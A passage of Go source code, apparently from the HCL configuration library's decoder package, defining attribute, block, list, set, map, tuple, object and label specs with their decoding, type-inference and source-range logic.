practice, it's rather // strange to ask for the source range of an entire top-level body, since // that's already readily available to the caller. return content.MissingItemRange } // A TupleSpec is a Spec that produces a cty.Value of a tuple type whose // elements correspond to the elements of the spec slice. type TupleSpec []Spec func (s TupleSpec) visitSameBodyChildren(cb visitFunc) { for _, c := range s { cb(c) } } func (s TupleSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { vals := make([]cty.Value, len(s)) var diags hcl.Diagnostics for i, spec := range s { var ed hcl.Diagnostics vals[i], ed = spec.decode(content, blockLabels, ctx) diags = append(diags, ed...) } return cty.TupleVal(vals), diags } func (s TupleSpec) impliedType() cty.Type { if len(s) == 0 { return cty.EmptyTuple } attrTypes := make([]cty.Type, len(s)) for i, childSpec := range s { attrTypes[i] = childSpec.impliedType() } return cty.Tuple(attrTypes) } func (s TupleSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // This is not great, but the best we can do. In practice, it's rather // strange to ask for the source range of an entire top-level body, since // that's already readily available to the caller. return content.MissingItemRange } // An AttrSpec is a Spec that evaluates a particular attribute expression in // the body and returns its resulting value converted to the requested type, // or produces a diagnostic if the type is incorrect. type AttrSpec struct { Name string Type cty.Type Required bool } func (s *AttrSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } // specNeedingVariables implementation func (s *AttrSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { attr, exists := content.Attributes[s.Name] if !exists { return nil } return attr.Expr.Variables() } // attrSpec implementation func (s *AttrSpec) attrSchemata() []hcl.AttributeSchema { return []hcl.AttributeSchema{ { Name: s.Name, Required: s.Required, }, } } func (s *AttrSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { attr, exists := content.Attributes[s.Name] if !exists { return content.MissingItemRange } return attr.Expr.Range() } func (s *AttrSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { attr, exists := content.Attributes[s.Name] if !exists { // We don't need to check required and emit a diagnostic here, because // that would already have happened when building "content". return cty.NullVal(s.Type), nil } if decodeFn := customdecode.CustomExpressionDecoderForType(s.Type); decodeFn != nil { v, diags := decodeFn(attr.Expr, ctx) if v == cty.NilVal { v = cty.UnknownVal(s.Type) } return v, diags } val, diags := attr.Expr.Value(ctx) convVal, err := convert.Convert(val, s.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect attribute value type", Detail: fmt.Sprintf( "Inappropriate value for attribute %q: %s.", s.Name, err.Error(), ), Subject: attr.Expr.Range().Ptr(), Context: hcl.RangeBetween(attr.NameRange, attr.Expr.Range()).Ptr(), Expression: attr.Expr, EvalContext: ctx, }) // We'll return an unknown value of the _correct_ type so that the // incomplete result can still be used for some analysis use-cases. val = cty.UnknownVal(s.Type) } else { val = convVal } return val, diags } func (s *AttrSpec) impliedType() cty.Type { return s.Type } // A LiteralSpec is a Spec that produces the given literal value, ignoring // the given body. type LiteralSpec struct { Value cty.Value } func (s *LiteralSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } func (s *LiteralSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return s.Value, nil } func (s *LiteralSpec) impliedType() cty.Type { return s.Value.Type() } func (s *LiteralSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // No sensible range to return for a literal, so the caller had better // ensure it doesn't cause any diagnostics. return hcl.Range{ Filename: "", } } // An ExprSpec is a Spec that evaluates the given expression, ignoring the // given body. type ExprSpec struct { Expr hcl.Expression } func (s *ExprSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } // specNeedingVariables implementation func (s *ExprSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { return s.Expr.Variables() } func (s *ExprSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return s.Expr.Value(ctx) } func (s *ExprSpec) impliedType() cty.Type { // We can't know the type of our expression until we evaluate it return cty.DynamicPseudoType } func (s *ExprSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { return s.Expr.Range() } // A BlockSpec is a Spec that produces a cty.Value by decoding the contents // of a single nested block of a given type, using a nested spec. // // If the Required flag is not set, the nested block may be omitted, in which // case a null value is produced. If it _is_ set, an error diagnostic is // produced if there are no nested blocks of the given type. type BlockSpec struct { TypeName string Nested Spec Required bool } func (s *BlockSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return nil } return Variables(childBlock.Body, s.Nested) } func (s *BlockSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } if childBlock != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "Only one block of type %q is allowed. Previous definition was at %s.", s.TypeName, childBlock.DefRange.String(), ), Subject: &candidate.DefRange, }) break } childBlock = candidate } if childBlock == nil { if s.Required { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s block", s.TypeName), Detail: fmt.Sprintf( "A block of type %q is required here.", s.TypeName, ), Subject: &content.MissingItemRange, }) } return cty.NullVal(s.Nested.impliedType()), diags } if s.Nested == nil { panic("BlockSpec with no Nested Spec") } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) return val, diags } func (s *BlockSpec) impliedType() cty.Type { return s.Nested.impliedType() } func (s *BlockSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockListSpec is a Spec that produces a cty list of the results of // decoding all of the nested blocks of a given type, using a nested spec. type BlockListSpec struct { TypeName string Nested Spec MinItems int MaxItems int } func (s *BlockListSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockListSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockListSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockListSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockListSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockListSpec with no Nested Spec") } var elems []cty.Value var sourceRanges []hcl.Range for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } elems = append(elems, val) sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)) } if len(elems) < s.MinItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Insufficient %s blocks", s.TypeName), Detail: fmt.Sprintf("At least %d %q blocks are required.", s.MinItems, s.TypeName), Subject: &content.MissingItemRange, }) } else if s.MaxItems > 0 && len(elems) > s.MaxItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Too many %s blocks", s.TypeName), Detail: fmt.Sprintf("No more than %d %q blocks are allowed", s.MaxItems, s.TypeName), Subject: &sourceRanges[s.MaxItems], }) } if len(elems) == 0 { return cty.ListValEmpty(s.Nested.impliedType()), diags } // Since our target is a list, all of the decoded elements must have the // same type or cty.ListVal will panic below. Different types can arise // if there is an attribute spec of type cty.DynamicPseudoType in the // nested spec; all given values must be convertible to a single type // in order for the result to be considered valid. etys := make([]cty.Type, len(elems)) for i, v := range elems { etys[i] = v.Type() } ety, convs := convert.UnifyUnsafe(etys) if ety == cty.NilType { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: "Corresponding attributes in all blocks of this type must be the same.", Subject: &sourceRanges[0], }) return cty.DynamicVal, diags } for i, v := range elems { if convs[i] != nil { newV, err := convs[i](v) if err != nil { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: fmt.Sprintf("Block with index %d has inconsistent argument types: %s.", i, err), Subject: &sourceRanges[i], }) // Bail early here so we won't panic below in cty.ListVal return cty.DynamicVal, diags } elems[i] = newV } } return cty.ListVal(elems), diags } func (s *BlockListSpec) impliedType() cty.Type { return cty.List(s.Nested.impliedType()) } func (s *BlockListSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockTupleSpec is a Spec that produces a cty tuple of the results of // decoding all of the nested blocks of a given type, using a nested spec. // // This is similar to BlockListSpec, but it permits the nested blocks to have // different result types in situations where cty.DynamicPseudoType attributes // are present. type BlockTupleSpec struct { TypeName string Nested Spec MinItems int MaxItems int } func (s *BlockTupleSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockTupleSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockTupleSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockTupleSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockTupleSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockListSpec with no Nested Spec") } var elems []cty.Value var sourceRanges []hcl.Range for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } elems = append(elems, val) sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)) } if len(elems) < s.MinItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Insufficient %s blocks", s.TypeName), Detail: fmt.Sprintf("At least %d %q blocks are required.", s.MinItems, s.TypeName), Subject: &content.MissingItemRange, }) } else if s.MaxItems > 0 && len(elems) > s.MaxItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Too many %s blocks", s.TypeName), Detail: fmt.Sprintf("No more than %d %q blocks are allowed", s.MaxItems, s.TypeName), Subject: &sourceRanges[s.MaxItems], }) } if len(elems) == 0 { return cty.EmptyTupleVal, diags } return cty.TupleVal(elems), diags } func (s *BlockTupleSpec) impliedType() cty.Type { // We can't predict our type, because we don't know how many blocks // there will be until we decode. return cty.DynamicPseudoType } func (s *BlockTupleSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockSetSpec is a Spec that produces a cty set of the results of // decoding all of the nested blocks of a given type, using a nested spec. type BlockSetSpec struct { TypeName string Nested Spec MinItems int MaxItems int } func (s *BlockSetSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockSetSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: findLabelSpecs(s.Nested), }, } } // blockSpec implementation func (s *BlockSetSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockSetSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockSetSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockSetSpec with no Nested Spec") } var elems []cty.Value var sourceRanges []hcl.Range for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } val, _, childDiags := decode(childBlock.Body, labelsForBlock(childBlock), ctx, s.Nested, false) diags = append(diags, childDiags...) if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } elems = append(elems, val) sourceRanges = append(sourceRanges, sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested)) } if len(elems) < s.MinItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Insufficient %s blocks", s.TypeName), Detail: fmt.Sprintf("At least %d %q blocks are required.", s.MinItems, s.TypeName), Subject: &content.MissingItemRange, }) } else if s.MaxItems > 0 && len(elems) > s.MaxItems { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Too many %s blocks", s.TypeName), Detail: fmt.Sprintf("No more than %d %q blocks are allowed", s.MaxItems, s.TypeName), Subject: &sourceRanges[s.MaxItems], }) } if len(elems) == 0 { return cty.SetValEmpty(s.Nested.impliedType()), diags } // Since our target is a set, all of the decoded elements must have the // same type or cty.SetVal will panic below. Different types can arise // if there is an attribute spec of type cty.DynamicPseudoType in the // nested spec; all given values must be convertible to a single type // in order for the result to be considered valid. etys := make([]cty.Type, len(elems)) for i, v := range elems { etys[i] = v.Type() } ety, convs := convert.UnifyUnsafe(etys) if ety == cty.NilType { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: "Corresponding attributes in all blocks of this type must be the same.", Subject: &sourceRanges[0], }) return cty.DynamicVal, diags } for i, v := range elems { if convs[i] != nil { newV, err := convs[i](v) if err != nil { // FIXME: This is a pretty terrible error message. diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Inconsistent argument types in %s blocks", s.TypeName), Detail: fmt.Sprintf("Block with index %d has inconsistent argument types: %s.", i, err), Subject: &sourceRanges[i], }) // Bail early here so we won't panic below in cty.ListVal return cty.DynamicVal, diags } elems[i] = newV } } return cty.SetVal(elems), diags } func (s *BlockSetSpec) impliedType() cty.Type { return cty.Set(s.Nested.impliedType()) } func (s *BlockSetSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockMapSpec is a Spec that produces a cty map of the results of // decoding all of the nested blocks of a given type, using a nested spec. // // One level of map structure is created for each of the given label names. // There must be at least one given label name. type BlockMapSpec struct { TypeName string LabelNames []string Nested Spec } func (s *BlockMapSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockMapSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: append(s.LabelNames, findLabelSpecs(s.Nested)...), }, } } // blockSpec implementation func (s *BlockMapSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockMapSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockMapSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockMapSpec with no Nested Spec") } if ImpliedType(s).HasDynamicTypes() { panic("cty.DynamicPseudoType attributes may not be used inside a BlockMapSpec") } elems := map[string]interface{}{} for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } childLabels := labelsForBlock(childBlock) val, _, childDiags := decode(childBlock.Body, childLabels[len(s.LabelNames):], ctx, s.Nested, false) targetMap := elems for _, key := range childBlock.Labels[:len(s.LabelNames)-1] { if _, exists := targetMap[key]; !exists { targetMap[key] = make(map[string]interface{}) } targetMap = targetMap[key].(map[string]interface{}) } diags = append(diags, childDiags...) key := childBlock.Labels[len(s.LabelNames)-1] if _, exists := targetMap[key]; exists { labelsBuf := bytes.Buffer{} for _, label := range childBlock.Labels { fmt.Fprintf(&labelsBuf, " %q", label) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "A block for %s%s was already defined. The %s labels must be unique.", s.TypeName, labelsBuf.String(), s.TypeName, ), Subject: &childBlock.DefRange, }) continue } targetMap[key] = val } if len(elems) == 0 { return cty.MapValEmpty(s.Nested.impliedType()), diags } var ctyMap func(map[string]interface{}, int) cty.Value ctyMap = func(raw map[string]interface{}, depth int) cty.Value { vals := make(map[string]cty.Value, len(raw)) if depth == 1 { for k, v := range raw { vals[k] = v.(cty.Value) } } else { for k, v := range raw { vals[k] = ctyMap(v.(map[string]interface{}), depth-1) } } return cty.MapVal(vals) } return ctyMap(elems, len(s.LabelNames)), diags } func (s *BlockMapSpec) impliedType() cty.Type { ret := s.Nested.impliedType() for _ = range s.LabelNames { ret = cty.Map(ret) } return ret } func (s *BlockMapSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockObjectSpec is a Spec that produces a cty object of the results of // decoding all of the nested blocks of a given type, using a nested spec. // // One level of object structure is created for each of the given label names. // There must be at least one given label name. // // This is similar to BlockMapSpec, but it permits the nested blocks to have // different result types in situations where cty.DynamicPseudoType attributes // are present. type BlockObjectSpec struct { TypeName string LabelNames []string Nested Spec } func (s *BlockObjectSpec) visitSameBodyChildren(cb visitFunc) { // leaf node ("Nested" does not use the same body) } // blockSpec implementation func (s *BlockObjectSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: append(s.LabelNames, findLabelSpecs(s.Nested)...), }, } } // blockSpec implementation func (s *BlockObjectSpec) nestedSpec() Spec { return s.Nested } // specNeedingVariables implementation func (s *BlockObjectSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { var ret []hcl.Traversal for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } ret = append(ret, Variables(childBlock.Body, s.Nested)...) } return ret } func (s *BlockObjectSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics if s.Nested == nil { panic("BlockObjectSpec with no Nested Spec") } elems := map[string]interface{}{} for _, childBlock := range content.Blocks { if childBlock.Type != s.TypeName { continue } if u, ok := childBlock.Body.(UnknownBody); ok { if u.Unknown() { // If any block Body is unknown, then the entire block value // must be unknown return cty.UnknownVal(s.impliedType()), diags } } childLabels := labelsForBlock(childBlock) val, _, childDiags := decode(childBlock.Body, childLabels[len(s.LabelNames):], ctx, s.Nested, false) targetMap := elems for _, key := range childBlock.Labels[:len(s.LabelNames)-1] { if _, exists := targetMap[key]; !exists { targetMap[key] = make(map[string]interface{}) } targetMap = targetMap[key].(map[string]interface{}) } diags = append(diags, childDiags...) key := childBlock.Labels[len(s.LabelNames)-1] if _, exists := targetMap[key]; exists { labelsBuf := bytes.Buffer{} for _, label := range childBlock.Labels { fmt.Fprintf(&labelsBuf, " %q", label) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "A block for %s%s was already defined. The %s labels must be unique.", s.TypeName, labelsBuf.String(), s.TypeName, ), Subject: &childBlock.DefRange, }) continue } targetMap[key] = val } if len(elems) == 0 { return cty.EmptyObjectVal, diags } var ctyObj func(map[string]interface{}, int) cty.Value ctyObj = func(raw map[string]interface{}, depth int) cty.Value { vals := make(map[string]cty.Value, len(raw)) if depth == 1 { for k, v := range raw { vals[k] = v.(cty.Value) } } else { for k, v := range raw { vals[k] = ctyObj(v.(map[string]interface{}), depth-1) } } return cty.ObjectVal(vals) } return ctyObj(elems, len(s.LabelNames)), diags } func (s *BlockObjectSpec) impliedType() cty.Type { // We can't predict our type, since we don't know how many blocks are // present and what labels they have until we decode. return cty.DynamicPseudoType } func (s *BlockObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { // We return the source range of the _first_ block of the given type, // since they are not guaranteed to form a contiguous range. var childBlock *hcl.Block for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } childBlock = candidate break } if childBlock == nil { return content.MissingItemRange } return sourceRange(childBlock.Body, labelsForBlock(childBlock), s.Nested) } // A BlockAttrsSpec is a Spec that interprets a single block as if it were // a map of some element type. That is, each attribute within the block // becomes a key in the resulting map and the attribute's value becomes the // element value, after conversion to the given element type. The resulting // value is a cty.Map of the given element type. // // This spec imposes a validation constraint that there be exactly one block // of the given type name and that this block may contain only attributes. The // block does not accept any labels. // // This is an alternative to an AttrSpec of a map type for situations where // block syntax is desired. Note that block syntax does not permit dynamic // keys, construction of the result via a "for" expression, etc. In most cases // an AttrSpec is preferred if the desired result is a map whose keys are // chosen by the user rather than by schema. type BlockAttrsSpec struct { TypeName string ElementType cty.Type Required bool } func (s *BlockAttrsSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } // blockSpec implementation func (s *BlockAttrsSpec) blockHeaderSchemata() []hcl.BlockHeaderSchema { return []hcl.BlockHeaderSchema{ { Type: s.TypeName, LabelNames: nil, }, } } // blockSpec implementation func (s *BlockAttrsSpec) nestedSpec() Spec { // This is an odd case: we aren't actually going to apply a nested spec // in this case, since we're going to interpret the body directly as // attributes, but we need to return something non-nil so that the // decoder will recognize this as a block spec. We won't actually be // using this for anything at decode time. return noopSpec{} } // specNeedingVariables implementation func (s *BlockAttrsSpec) variablesNeeded(content *hcl.BodyContent) []hcl.Traversal { block, _ := s.findBlock(content) if block == nil { return nil } var vars []hcl.Traversal attrs, diags := block.Body.JustAttributes() if diags.HasErrors() { return nil } for _, attr := range attrs { vars = append(vars, attr.Expr.Variables()...) } // We'll return the variables references in source order so that any // error messages that result are also in source order. sort.Slice(vars, func(i, j int) bool { return vars[i].SourceRange().Start.Byte < vars[j].SourceRange().Start.Byte }) return vars } func (s *BlockAttrsSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { var diags hcl.Diagnostics block, other := s.findBlock(content) if block == nil { if s.Required { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s block", s.TypeName), Detail: fmt.Sprintf( "A block of type %q is required here.", s.TypeName, ), Subject: &content.MissingItemRange, }) } return cty.NullVal(cty.Map(s.ElementType)), diags } if other != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Duplicate %s block", s.TypeName), Detail: fmt.Sprintf( "Only one block of type %q is allowed. Previous definition was at %s.", s.TypeName, block.DefRange.String(), ), Subject: &other.DefRange, }) } attrs, attrDiags := block.Body.JustAttributes() diags = append(diags, attrDiags...) if len(attrs) == 0 { return cty.MapValEmpty(s.ElementType), diags } vals := make(map[string]cty.Value, len(attrs)) for name, attr := range attrs { if decodeFn := customdecode.CustomExpressionDecoderForType(s.ElementType); decodeFn != nil { attrVal, attrDiags := decodeFn(attr.Expr, ctx) diags = append(diags, attrDiags...) if attrVal == cty.NilVal { attrVal = cty.UnknownVal(s.ElementType) } vals[name] = attrVal continue } attrVal, attrDiags := attr.Expr.Value(ctx) diags = append(diags, attrDiags...) attrVal, err := convert.Convert(attrVal, s.ElementType) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid attribute value", Detail: fmt.Sprintf("Invalid value for attribute of %q block: %s.", s.TypeName, err), Subject: attr.Expr.Range().Ptr(), Context: hcl.RangeBetween(attr.NameRange, attr.Expr.Range()).Ptr(), Expression: attr.Expr, EvalContext: ctx, }) attrVal = cty.UnknownVal(s.ElementType) } vals[name] = attrVal } return cty.MapVal(vals), diags } func (s *BlockAttrsSpec) impliedType() cty.Type { return cty.Map(s.ElementType) } func (s *BlockAttrsSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { block, _ := s.findBlock(content) if block == nil { return content.MissingItemRange } return block.DefRange } func (s *BlockAttrsSpec) findBlock(content *hcl.BodyContent) (block *hcl.Block, other *hcl.Block) { for _, candidate := range content.Blocks { if candidate.Type != s.TypeName { continue } if block != nil { return block, candidate } block = candidate } return block, nil } // A BlockLabelSpec is a Spec that returns a cty.String representing the // label of the block its given body belongs to, if indeed its given body // belongs to a block. It is a programming error to use this in a non-block // context, so this spec will panic in that case. // // This spec only works in the nested spec within a BlockSpec, BlockListSpec, // BlockSetSpec or BlockMapSpec. // // The full set of label specs used against a particular block must have a // consecutive set of indices starting at zero. The maximum index found // defines how many labels the corresponding blocks must have in cty source. type BlockLabelSpec struct { Index int Name string } func (s *BlockLabelSpec) visitSameBodyChildren(cb visitFunc) { // leaf node } func (s *BlockLabelSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { if s.Index >= len(blockLabels) { panic("BlockListSpec used in non-block context") } return cty.StringVal(blockLabels[s.Index].Value), nil } func (s *BlockLabelSpec) impliedType() cty.Type { return cty.String // labels are always strings } func (s *BlockLabelSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range { if s.Index >= len(blockLabels) { panic("BlockListSpec used in non-block context") } return blockLabels[s.Index].Range } func findLabelSpecs(spec Spec) []string { maxIdx := -1 var names map[int]string var visit visitFunc visit = func(s Spec) { if ls, ok := s.(*BlockLabelSpec); ok { if maxIdx < ls.Index { maxIdx = ls.Index } if names == nil { names = make(map[int]string) } names[ls.Index] = ls.Name } s.visitSameBodyChildren(visit) } visit(spec) if maxIdx < 0 { return nil // no labels at all } ret := make([]string, maxIdx+1) for i := range ret { name := names[i] if name == "" { // Should never happen if the spec is conformant, since we require // consecutive indices starting at zero. name = fmt.Sprintf("missing%02d", i) } ret[i] = name } return ret } // DefaultSpec is a spec that wraps two specs, evaluating the primary first // and then evaluating the default if the primary returns a null value. // // The two specifications must have the same implied result type for correct // operation. If not, the result is undefined. // // Any requirements imposed by the "Default" spec apply even if "Primary" does // not return null. For example, if the "Default" spec is for a required // attribute then that attribute is always required, regardless of the result // of the "Primary" spec. // // The "Default" spec must not describe a nested block, since otherwise the // result of 